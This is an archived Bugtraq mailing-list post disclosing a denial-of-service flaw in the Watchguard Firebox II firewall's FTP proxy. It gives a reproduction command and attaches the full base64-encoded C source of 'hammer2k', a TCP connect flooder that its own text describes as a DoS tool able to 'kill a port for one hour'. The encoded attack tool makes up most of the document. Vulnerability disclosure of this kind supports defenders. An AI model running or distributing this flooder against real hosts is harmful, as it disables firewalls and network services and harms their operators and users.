Date:         Thu, 16 Nov 2000 16:44:31 +0100
From: Raptor <raptor@0XDEADBEEF.EU.ORG>
Subject:      Possible Watchguard Firebox II DoS
To: BUGTRAQ@SECURITYFOCUS.COM

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--0-1707247603-974389471=:2528
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hi,
i've recently played with the Watchguard Firebox II firewall and
discovered a nasty behaviour. Launching a simple connect() flooder
against the ftp proxy of the firewall (i haven't tested other services)
the port hangs and so do all other services (also the watchguard remote
administration daemon, on port 4105/tcp): the firewall load becomes about
100% and it needs to be rebooted.
Filtering and dinamic rules update seem to continue working after the
attack.
I've verified the DoS either on LAN and on the Internet, but it's
important to say FTP proxy from the untrusted interface is NOT enabled by
default.
Here is the program i've used (a simple lame proggie from packet storm),
use it in this way to reproduce the bug:

./hammer2k <ip_of_the_firewall> -ftp -A

Wait about 30 secs and stop the DoS: the firewall services should have
been disabled.

Cheers,

:raptor
Antifork Research                       @ Mediaservice.net srl
http://raptor.antifork.org              http://www.mediaservice.net

--0-1707247603-974389471=:2528
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="hammer2k.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.BSO.4.21.0011161644310.2528@voodoo.rewt.mil>
Content-Description:
Content-Disposition: attachment; filename="hammer2k.c"

LyoNCjo6Ojo6IEhhbW1lcjJLIHZlcnNpb24gMC44IDo6Ojo6IEEgRG9TIFRv
b2wNCkJ5OiBUaHJleCA8dGhyZXhAYXR0cml0aW9uLm9yZz4NCmh0dHA6Ly9p
bmZlcm5vLnR1c2N1bHVtLmVkdS9+dGhyZXgNCg0KLS0tLS0tLS0tR1JFRVRT
LS0tLS0tLS0tLS0tDQo9PSBQZW9wbGUgdGhhdCBoZWxwZWQgaW4gdGhlIGRl
dmVsb3BtZW50IG9mIEhhbW1lcjJLICh0ZXN0aW5nICYgaWRlYXMpPT0NCnZv
cnRlaywgTWlzdGVyLVgsIERpZ2lFYm9sYSwgeHNwcml0ZSwgJiB4dW1fbXV4
DQo9PSBHb29kIFBlb3BsZSA9PQ0KRXZlcnlvbmUgb24gI3N2dW4gb24gdW5k
ZXJuZXQsIG9wZXJhdDByLCBjb2Rld2FycmlvciwgU3AwYXIsIGQwZywNCnNv
dWxzbGFjaywgc3lwaGl4LCB6aXJpY29uLCBUZW11amluLCBUZXJtaW5hbCwg
VGgzIE1AbmlhYywgV2VhcG9uc1gNCkJlcm56LCBIZWxscmlkZXIsIFJlemlu
LCBBUEhDIChodHRwOi8vYXBoYy5jamIubmV0KQ0KDQotLS0tLS0tLS1DT01Q
SUxFLS0tLS0tLS0tLS0NClNpbXBseSBlbnRlciB0aGUgZm9sbG93aW5nIGNv
bW1hbmQuDQoNCmJpZ2JsdWU6fiMgZ2NjIGhhbW1lcjJrLmMgLW8gaGFtbWVy
MmsNCg0KLS0tLS0tLS0tRElTQ0xBSU1FUi0tLS0tLS0tDQpJIFRBS0UgTk8g
UkVTUE9OU0lCTElUWSBGT1IgWU9VUiBBQ1RJT05TIFdJVEggSEFNTUVSMksu
ICBZT1UgV0lMTCBVU0UgVEhJUw0KQVQgWU9VUiBPV04gUklTSyENCiovDQoN
Cg0KI2luY2x1ZGUgPHN5cy9zdGF0Lmg+DQojaW5jbHVkZSA8ZmNudGwuaD4N
CiNpbmNsdWRlIDxzeXMvZmlsZS5oPg0KI2luY2x1ZGUgPHN5cy90eXBlcy5o
Pg0KI2luY2x1ZGUgPHVuaXN0ZC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvdGNw
Lmg+DQojaW5jbHVkZSA8bmV0aW5ldC9pcC5oPg0KI2luY2x1ZGUgPG5ldGlu
ZXQvaW4uaD4NCiNpbmNsdWRlIDxuZXRkYi5oPg0KI2luY2x1ZGUgPHN0ZGlv
Lmg+DQojaW5jbHVkZSA8c3RkbGliLmg+DQojaW5jbHVkZSA8ZXJybm8uaD4N
CiNpbmNsdWRlIDxzdHJpbmcuaD4NCiNpbmNsdWRlIDxzeXMvdHlwZXMuaD4N
CiNpbmNsdWRlIDxuZXRpbmV0L2luLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tl
dC5oPg0KDQpjaGFyICptc2cgPSAiMTIzNDU2Nzg5MTIzNDU2Nzg5MTIzNDU2
Nzg5MTIzNDU2Nzg5MTIzNDU2Nzg5MTIzNDU2Nzg5IjsNCg0KaW50IHNvY2s7
DQppbnQgYjsNCmludCBYOw0KaW50IHA7DQppbnQgbDsNCmludCBsZW47DQpp
bnQgYTsNCmludCBVc2FnZShjaGFyICpBUkcpOw0KaW50IHRjcCh2b2lkKTsN
CmludCBhcm1hZ2VkZG9uKHZvaWQpOw0KaW50IGFsbCh2b2lkKTsNCg0KDQpz
dHJ1Y3QgaG9zdGVudCAqaGU7DQpzdHJ1Y3Qgc29ja2FkZHJfaW4gdGFyZ2V0
Ow0KDQoNCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQoN
Cg0KDQppZiAoYXJnYyA8IDQpDQp7DQogICAgICAgIFVzYWdlKGFyZ3ZbMF0p
Ow0KfQ0KDQoNCg0KDQppZiAoKGhlPWdldGhvc3RieW5hbWUoYXJndlsxXSkp
ID09IE5VTEwpDQp7DQogICAgICAgIHByaW50ZigiXG4gRVJST1I6IGhvc3Ru
YW1lIGxvb2t1cCBmYWlsZWQgXG4iKTsNCmV4aXQoMSk7DQp9DQoNCg0KDQog
ICAgICAgIGlmIChzdHJjbXAoYXJndlsyXSwgIi10ZWxuZXQiKT09MCkNCiAg
ICAgICAgew0KICAgICAgICBwID0gMjM7DQogICAgICAgIGwgPSAxODAwOw0K
ICAgICAgICB9DQogICAgICAgIGVsc2UgaWYgKHN0cmNtcChhcmd2WzJdLCAi
LWluZXRkIik9PTApDQogICAgICAgIHsNCiAgICAgICAgcCA9IDExMzsNCiAg
ICAgICAgbCA9IDQwMDA7DQogICAgICAgIH0NCiAgICAgICAgZWxzZSBpZiAo
c3RyY21wKGFyZ3ZbMl0sICItcG9wMiIpPT0wKQ0KICAgICAgICB7DQogICAg
ICAgIHAgPSAxMDk7DQogICAgICAgIGwgPSAzMDAwOw0KICAgICAgICB9DQog
ICAgICAgIGVsc2UgaWYgKHN0cmNtcChhcmd2WzJdLCAiLWltYXAyIik9PTAp
DQogICAgICAgIHsNCiAgICAgICAgcCA9IDE0MzsNCiAgICAgICAgbCA9IDQw
MDA7DQogICAgICAgIH0NCiAgICAgICAgZWxzZSBpZiAoc3RyY21wKGFyZ3Zb
Ml0sICItZmluZ2VyIik9PTApDQogICAgICAgIHsNCiAgICAgICAgcCA9IDc5
Ow0KICAgICAgICBsID0gMTQwMDsNCiAgICAgICAgfQ0KICAgICAgICBlbHNl
IGlmIChzdHJjbXAoYXJndlsyXSwgIi1zbXRwIik9PTApDQogICAgICAgIHsN
CiAgICAgICAgcCA9IDI1Ow0KICAgICAgICBsID0gNzQwOw0KICAgICAgICB9
DQogICAgICAgIGVsc2UgaWYgKHN0cmNtcChhcmd2WzJdLCAiLWZ0cCIpPT0w
KQ0KICAgICAgICB7DQogICAgICAgIHAgPSAyMTsNCiAgICAgICAgbCA9IDgw
MDsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlIGlmIChzdHJjbXAoYXJndlsy
XSwgIi1wb3AzIik9PTApDQogICAgICAgIHsNCiAgICAgICAgcCA9IDExMDsN
CiAgICAgICAgbCA9IDEzNTA7DQogICAgICAgIH0NCiAgICAgICAgZWxzZSBp
ZiAoc3RyY21wKGFyZ3ZbMl0sICItbmV0c3RhdCIpPT0wKQ0KICAgICAgICB7
DQogICAgICAgIHAgPSAxNTsNCiAgICAgICAgbCA9IDEzMDA7DQogICAgICAg
IH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgIHByaW50Zigi
XG4gRVJST1I6IEhhbW1lcjJLIGRvZXNuJ3Qgc3VwcG9ydCB0aGF0IHNlcnZp
Y2UuIFxuIik7DQogICAgICAgIH0NCg0KICAgICAgICANCg0KICAgICAgICAg
ICAgICAgIGlmICgoc29jayA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVB
TSwgMCkpID09IC0xKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAg
ICAgICBwcmludGYoIlxuIEVSUk9SOiBmYXRhbCBzb2NrZXQgZXJyb3IgXG4i
KTsNCiAgICAgICAgICAgICAgICBleGl0KDEpOw0KICAgICAgICAgICAgICAg
IH0NCg0KICAgICAgICAgICAgICAgIHRhcmdldC5zaW5fZmFtaWx5ID0gQUZf
SU5FVDsNCiAgICAgICAgICAgICAgICB0YXJnZXQuc2luX3BvcnQgPSBodG9u
cyhwKTsNCiAgICAgICAgICAgICAgICB0YXJnZXQuc2luX2FkZHIgPSAqKChz
dHJ1Y3QgaW5fYWRkciAqKWhlLT5oX2FkZHIpOw0KDQogICAgICAgICAgICAg
ICAgaWYgKGNvbm5lY3Qoc29jaywgKHN0cnVjdCBzb2NrYWRkciAqKSZ0YXJn
ZXQsIHNpemVvZih0YXJnZXQpKSA9PSAtMSkNCiAgICAgICAgICAgICAgICB7
DQogICAgICAgICAgICAgICAgcHJpbnRmKCJcbiBFUlJPUjogZmF0YWwgY29u
bmVjdGlvbiBlcnJvciBcbiIpOw0KICAgICAgICAgICAgICAgIGV4aXQoMSk7
DQogICAgICAgICAgICAgICAgfQ0KDQoNCg0KYSA9IGF0b2koYXJndlszXSk7
DQoNCiAgICAgICAgaWYgKHN0cmNtcChhcmd2WzNdLCAiLUEiKT09MCkNCiAg
ICAgICAgew0KICAgICAgICBhcm1hZ2VkZG9uKCk7DQogICAgICAgIH0NCiAg
ICAgICAgZWxzZSBpZiAoc3RyY21wKGFyZ3ZbM10sICItTkEiKT09MCl7DQog
ICAgICAgIHRjcCgpOw0KICAgICAgICB9DQogICAgICAgIGVsc2Ugew0KICAg
ICAgICBwcmludGYoIlxuIEVSUk9SOiBwbGVhc2UgdXNlIC1BIChBcm1hZ2Vk
ZG9uIE9OKSBvciAtTkEgKEFybWFnZWRkb24gb2ZmKQ0KIFxuIik7DQogICAg
ICAgIH0NCg0KDQp9DQoNCg0KDQoNCmludCBVc2FnZShjaGFyICpBUkcpDQp7
DQpwcmludGYoIlxuXG4gSGFtbWVyMksgYnkgVGhyZXggPHRocmV4QGF0dHJp
dGlvbi5vcmc+Iik7DQpwcmludGYoIlxuIFVzYWdlOiBIYW1tZXIySyA8aG9z
dD4gPHNlcnZpY2U+IDxhcm1hZ2VkZG9uLW1vZGU+Iik7DQpwcmludGYoIlxu
IDo6PGhvc3Q+OjogIik7DQpwcmludGYoIlxuICAgMC4wLjAuMCAgICIpOw0K
cHJpbnRmKCJcbiAgIHRhcmdldC5uZXQgIik7DQpwcmludGYoIlxuXG4gOjo8
c2VydmljZT46OiAiKTsNCnByaW50ZigiXG4gICAtbmV0c3RhdCAiKTsNCnBy
aW50ZigiXG4gICAtZnRwICAgICAiKTsNCnByaW50ZigiXG4gICAtdGVsbmV0
ICAiKTsNCnByaW50ZigiXG4gICAtc210cCAgICAiKTsNCnByaW50ZigiXG4g
ICAtZmluZ2VyICAiKTsNCnByaW50ZigiXG4gICAtcG9wMiAgICAiKTsNCnBy
aW50ZigiXG4gICAtaW1hcDIgICAiKTsNCnByaW50ZigiXG4gICAtcG9wMyAg
ICAiKTsNCnByaW50ZigiXG5cbiA6Ojxhcm1hZ2VkZG9uLW1vZGU+OjogIik7
DQpwcmludGYoIlxuICAgLU5BID0gQXJtYWdlZGRvbiBNb2RlIE9mZiIpOw0K
cHJpbnRmKCJcbiAgIC1BICA9IEFybWFnZWRkb24gTW9kZSBPblxuXG4iKTsN
CmV4aXQoMSk7DQp9DQoNCg0KDQoNCmludCBhcm1hZ2VkZG9uKHZvaWQpDQp7
DQoNCmludCBsb29wOw0KaW50IG51bWJlcjsNCg0KbG9vcCA9IDEwOw0KDQpw
cmludGYoIlxuXG5IYW1tZXIySyBieSBUaHJleCA8dGhyZXhAYXR0cml0aW9u
Lm9yZz4iKTsNCnByaW50ZigiXG5Ib21lcGFnZSBodHRwOi8vaW5mZXJuby50
dXNjdWx1bS5lZHUvfnRocmV4Iik7DQpwcmludGYoIlxuIEFybWFnZWRkb24g
TW9kZSBpcyBbT05dIChUaGlzIHdpbGwga2lsbCBhIHBvcnQgZm9yIG9uZSBo
b3VyKVxuIik7DQpwcmludGYoIlxuXG4gRmxvb2RpbmcgcG9ydC4uLi4uLlxu
XG4iKTsNCg0KICBmb3IobnVtYmVyID0gMTsgbnVtYmVyIDwgbG9vcDsgbnVt
YmVyKyspDQogICB7DQogICAgICAgIGZvcihYID0gMTsgWCA8IGw7IFgrKykN
CiAgICAgICAgew0KICAgICAgICAgICAgICAgIGlmICgoc29jayA9IHNvY2tl
dChBRl9JTkVULCBTT0NLX1NUUkVBTSwgMCkpID09IC0xKQ0KICAgICAgICAg
ICAgICAgIHsNCiAgICAgICAgICAgICAgICBwcmludGYoIlxuIEVSUk9SOiBm
YXRhbCBzb2NrZXQgZXJyb3IgXG4iKTsNCiAgICAgICAgICAgICAgICBleGl0
KDEpOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIHRh
cmdldC5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiAgICAgICAgICAgICAgICB0
YXJnZXQuc2luX3BvcnQgPSBodG9ucyhwKTsNCiAgICAgICAgICAgICAgICB0
YXJnZXQuc2luX2FkZHIgPSAqKChzdHJ1Y3QgaW5fYWRkciAqKWhlLT5oX2Fk
ZHIpOw0KDQogICAgICAgICAgICAgICAgaWYgKGNvbm5lY3Qoc29jaywgKHN0
cnVjdCBzb2NrYWRkciAqKSZ0YXJnZXQsDQogICAgICAgICAgICAgICAgc2l6
ZW9mKHRhcmdldCkpID09IC0xKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAg
ICAgICAgICAgICBnb3RvIHRpbWVyOw0KICAgICAgICAgICAgICAgIH0NCg0K
ICAgICAgICAgICAgICAgIGlmICgoc2VuZChzb2NrLCBtc2csIGxlbiwgMCkp
ID09IC0xKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBw
cmludGYoIlxuIEVSUk9SOiBmYXRhbCBzZW5kIGVycm9yIFxuIik7DQogICAg
ICAgICAgICAgICAgZXhpdCgxKTsNCiAgICAgICAgICAgICAgICB9DQogICAg
ICAgIA0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIGxlbiA9
IHN0cmxlbihtc2cpOw0KICAgICAgICAgICAgICAgIHNlbmQoc29jaywgbXNn
LCBsZW4sIDApOw0KICAgICAgICAgICAgICAgIGNsb3NlKHNvY2spOw0KDQog
ICAgICAgIH0NCg0KDQogICAgdGltZXI6DQogICAgc3lzdGVtKCJzbGVlcCA2
MDAiKTsNCiAgICB9DQpwcmludGYoIlxuIFBvcnQgJWQgaGFzIGJlZW4ga2ls
bGVkIGZvciBvbmUgaG91ci4gXG5cbiIsIHApOw0KY2xvc2Uoc29jayk7DQoN
CnJldHVybiAwOw0KDQoNCn0NCg0KDQoNCmludCB0Y3Aodm9pZCkNCnsNCnBy
aW50ZigiXG5cbkhhbW1lcjJLIGJ5IFRocmV4IDx0aHJleEBhdHRyaXRpb24u
b3JnPiIpOw0KcHJpbnRmKCJcbkhvbWVwYWdlIGh0dHA6Ly9pbmZlcm5vLnR1
c2N1bHVtLmVkdS9+dGhyZXgiKTsNCnByaW50ZigiXG4gQXJtYWdlZGRvbiBN
b2RlIGlzIFtPRkZdXVxuIik7DQpwcmludGYoIlxuXG4gRmxvb2RpbmcgcG9y
dC4uLi4uLlxuXG4iKTsNCiAgICAgICAgZm9yKFggPSAxOyBYIDwgbDsgWCsr
KQ0KICAgICAgICB7DQoNCiAgICAgICAgICAgICAgICBpZiAoKHNvY2sgPSBz
b2NrZXQoQUZfSU5FVCwgU09DS19TVFJFQU0sIDApKSA9PSAtMSkNCiAgICAg
ICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgcHJpbnRmKCJcbiBFUlJP
UjogZmF0YWwgc29ja2V0IGVycm9yIFxuIik7DQogICAgICAgICAgICAgICAg
ZXhpdCgxKTsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAg
ICB0YXJnZXQuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgICAgICAgICAg
ICAgdGFyZ2V0LnNpbl9wb3J0ID0gaHRvbnMocCk7DQogICAgICAgICAgICAg
ICAgdGFyZ2V0LnNpbl9hZGRyID0gKigoc3RydWN0IGluX2FkZHIgKiloZS0+
aF9hZGRyKTsNCg0KICAgICAgICAgICAgICAgIGlmIChjb25uZWN0KHNvY2ss
IChzdHJ1Y3Qgc29ja2FkZHIgKikmdGFyZ2V0LA0KICAgICAgICAgICAgICAg
IHNpemVvZih0YXJnZXQpKSA9PSAtMSkNCiAgICAgICAgICAgICAgICB7DQog
ICAgICAgICAgICAgICAgcHJpbnRmKCJcbiBQb3J0ICVkOiBLaWxsZWQgXG4i
LCBwKTsNCiAgICAgICAgICAgICAgICBleGl0KDEpOw0KICAgICAgICAgICAg
ICAgIH0NCg0KICAgICAgICAgICAgICAgIGlmICgoc2VuZChzb2NrLCBtc2cs
IGxlbiwgMCkpID09IC0xKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAg
ICAgICAgICBwcmludGYoIlxuIEVSUk9SOiBmYXRhbCBzZW5kIGVycm9yIFxu
Iik7DQogICAgICAgICAgICAgICAgZXhpdCgxKTsNCiAgICAgICAgICAgICAg
ICB9DQogICAgICAgIA0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAg
ICAgIGxlbiA9IHN0cmxlbihtc2cpOw0KICAgICAgICAgICAgICAgIHNlbmQo
c29jaywgbXNnLCBsZW4sIDApOw0KICAgICAgICAgICAgICAgIGNsb3NlKHNv
Y2spOw0KICAgICAgICB9DQoNCg0KcHJpbnRmKCJcbiBQb3J0ICVkOiBQb3J0
IGFzc3VtZWQgdG8gYmUgb3Blbi4gXG5cbiIsIHAsIGwpOw0KY2xvc2Uoc29j
ayk7DQoNCnJldHVybiAwOw0KDQp9DQoNCg0K
--0-1707247603-974389471=:2528--